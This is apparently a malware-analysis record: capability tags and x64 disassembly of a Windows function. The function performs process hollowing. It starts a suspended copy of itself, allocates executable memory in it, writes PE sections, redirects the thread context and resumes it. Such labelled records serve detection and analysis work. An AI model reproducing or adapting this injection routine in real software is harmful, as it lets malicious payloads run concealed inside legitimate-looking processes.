Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x508
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x470], xmm6
mov qword [rbp + 0x468], 0xfffffffffffffffe
stmxcsr dword [rbp - 0x30]
or dword [rbp - 0x30], 0x8040
ldmxcsr dword [rbp - 0x30]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
mov rdx, qword [rbx + rcx + 0x28]
mov rax, qword [rbx + rcx + 0x48]
lea rdi, [rdx - 1]
xor esi, esi
cmp rdx, 2
cmovge rsi, rdi
test rax, rax
je 0x140001077
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 8]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
je 0x1400011a8
mov rax, qword [rbx]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbx + rax + 0x50]
test rcx, rcx
je 0x1400010e3
cmp rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
je 0x1400010e3
mov dword [rbp + 0x464], 4
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
je 0x1400011d5
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rbx]
movsxd rax, dword [rax + 4]
mov ecx, 0x1c0
and ecx, dword [rbx + rax + 0x18]
cmp ecx, 0x40
je 0x140001139
test rsi, rsi
jle 0x140001139
mov rsi, qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sputc_char____ptr64]
nop dword [rax]
mov rax, qword [rbx]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbx + rax + 0x48]
movzx edx, byte [rbx + rax + 0x58]
call rsi
cmp eax, 0xffffffff
je 0x1400011b4
lea rax, [rdi - 1]
cmp rdi, 1
mov rdi, rax
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jg 0x140001100
mov rax, qword [rbx]
movsxd rax, dword [rax + 4]
xor esi, esi
mov rcx, qword [rbx + rax + 0x48]
mov rax, qword [rcx]
lea rdx, [0x140003150]
mov r8d, 1
call qword [rax + 0x48]
cmp rax, 1
jne 0x1400011b4
test rsi, rsi
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jle 0x14000119c
mov rdi, qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sputc_char____ptr64]
nop word [rax + rax]
mov rax, qword [rdx]
movsxd rax, dword [rax + 4]
mov rcx, qword [rdx + rax + 0x48]
movzx edx, byte [rdx + rax + 0x58]
call rdi
cmp eax, 0xffffffff
je 0x1400011b4
lea rax, [rsi - 1]
cmp rsi, 1
mov rsi, rax
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jg 0x140001170
mov dword [rbp + 0x464], 0
jmp 0x1400011c5
mov dword [rbp + 0x464], 4
jmp 0x1400011d5
mov dword [rbp + 0x464], 4
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rdx]
movsxd rax, dword [rax + 4]
mov qword [rdx + rax + 0x28], 0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [r8]
movsxd rax, dword [rax + 4]
lea rcx, [r8 + rax]
mov edx, dword [rbp + 0x464]
or edx, dword [r8 + rax + 0x10]
xor r8d, r8d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
call sub.MSVCP140.dll_int___cdecl_std::uncaught_exceptions_void_
test eax, eax
jne 0x140001211
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::_Osfx_void____ptr64]
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
mov rax, qword [rsi + rcx + 0x48]
test rax, rax
je 0x140001239
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x10]
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::put_char____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
xorps xmm6, xmm6
movaps xmmword [rbp + 0x440], xmm6
mov qword [rbp + 0x450], 0
movaps xmmword [rbp + 0x3d0], xmm6
movaps xmmword [rbp + 0x3e0], xmm6
movaps xmmword [rbp + 0x3f0], xmm6
movaps xmmword [rbp + 0x400], xmm6
movaps xmmword [rbp + 0x410], xmm6
movaps xmmword [rbp + 0x420], xmm6
mov qword [rbp + 0x430], 0
movsxd r14, dword [0x3c]
cmp dword [r14], 0x4550
jne 0x14000145f
lea rsi, [rbp - 0x30]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x440]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000145f
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rbp + 0x448]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000145f
mov r8d, dword [r14 + 0x50]
mov rdx, qword [r14 + 0x30]
mov rcx, qword [rbp + 0x440]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r9d, dword [r14 + 0x54]
mov rcx, qword [rbp + 0x440]
mov qword [rsp + 0x20], 0
mov rdx, rax
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp word [r14 + 6], 0
je 0x140001425
lea rbx, [r14 + 0x30]
mov r15d, 0x108
xor r12d, r12d
mov r13, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop word cs:[rax + rax]
movsxd rax, dword [0x3c]
mov edx, dword [r15 + rax + 0xc]
mov r9d, dword [r15 + rax + 0x10]
mov r8d, dword [r15 + rax + 0x14]
add rdx, rdi
mov rcx, qword [rbp + 0x440]
mov qword [rsp + 0x20], 0
call r13
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov rcx, qword [rbp + 0x440]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rbx
call r13
inc r12
movzx eax, word [r14 + 6]
add r15, 0x28
cmp r12, rax
jb 0x1400013c0
mov eax, dword [r14 + 0x28]
add rax, rdi
mov qword [rsi + 0x80], rax
mov rcx, qword [rbp + 0x448]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x448]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x440]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
movaps xmm6, xmmword [rbp + 0x470]
add rsp, 0x508
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret